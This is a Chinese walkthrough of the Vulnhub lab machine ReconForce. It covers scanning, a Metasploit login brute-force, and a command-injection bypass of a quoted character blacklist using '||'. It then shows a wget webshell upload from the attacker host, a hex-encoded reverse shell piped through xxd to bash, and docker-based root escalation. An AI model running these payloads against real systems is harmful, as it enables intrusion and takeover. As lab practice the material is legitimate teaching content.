【Vulnhub】靶机ReconForce

admin
admin
admin
139744
文章
114
评论
2022年1月10日03:33:58评论56 views字数 1687阅读5分37秒阅读模式

前言

  • Vulnhub刷题简单记录

ReconForce

描述

良好的枚举技巧

难度：容易中级

Flag: 2 标记第一个用户和第二个根用户

学习：Web 应用程序 | 枚举 | 权限提升

ReconForce开始

1、可以用两种方法确认靶场的存在，扫ip

1
2
 
netdiscover -i eth0 -r 192.168.56.0/24
nmap -sn 192.168.56.0/24

2、扫目标端口开发情况

1
2
 
nmap -sV -sC 192.168.56.108 -oA R
./nmapAutomator.sh -H 192.168.56.108 -t recon

3、访问主页，爆破目录，指定扫描php

1
2
3
4
5
 
gobuster dir -u http://192.168.56.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php

dirb http://192.168.56.108/

dirsearch http://192.168.56.108/ -e* -x 403 -r

4、没有扫出什么，登陆ftp端口发现有用户Security@hackNos

image-20210926104813010

5、在登陆页面尝试爆破，用收集来的信息

1
2
3
 
word=["Recon","Security","hackNos","5ecure"]
for i in word:
    print(i+"@hackNos")

输出

1
2
3
4
 
Recon@hackNos
Security@hackNos
hackNos@hackNos
5ecure@hackNos

练习一下msf的auth验证模块爆破登陆

1
2
3
4
5
6
7
8
 
use auxiliary/scanner/http/http_login
options
set AUTH_URI /5ecure/
set STOP_ON_SUCCESS YES
options
set PASS_FILE /root/BC/R/pass
options
set rhosts 192.168.56.108

image-20210926104955430

接着登陆利用||的特性来进行命令执行（特性是前面的命令执行失败，再执行后面的命令）

image-20210926105029720

明显命令执行漏洞，接着用wget上传木马

image-20210926105047222

这是cat查看的过滤规则，所以正常的反弹会失败

1
2
3
4
5
6
7
8
9
10
11
12
 
// Set blacklist
$substitutions = array(
    '&'  => '',
    ';'  => '',
    '| ' => '',
    '-'  => '',
    '$'  => '',
    '('  => '',
    ')'  => '',
    '`'  => '',
    '||' => '',
);

给他上传一个一句话木马

1
 
|| wget http://192.168.56.1:8000/shell.php

接着反弹shell，骚姿势

1
 
echo "62617368202d6920263e2f6465762f7463702f3139322e3136382e35362e312f3132333420303e2631" |xxd -r -p|bash

拿到shell之后，为了防止乱码，可以使用ctrl+Z，然后再使用下面命令

1
2
 
stty raw -echo
nc -lvvp 1234 #返回终端

查看etc/passwd,发现有两个bash用户

还有一个recon，可以试试刚刚登陆的密码，或者爆破一下，发现可以登录

image-20210926111955675

接着发现recon用户可以直接提权

image-20210926112127348

方法二

docker提权

1
2
3
 
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker images
docker run -it -v /:/mbt ae7952123bc6  #加载这台主机的根目录

我的个人博客

孤桜懶契：http://gylq.gitee.io

FROM:gylq.gitee Author:孤桜懶契

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日03:33:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   【Vulnhub】靶机ReconForcehttps://cn-sec.com/archives/730036.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息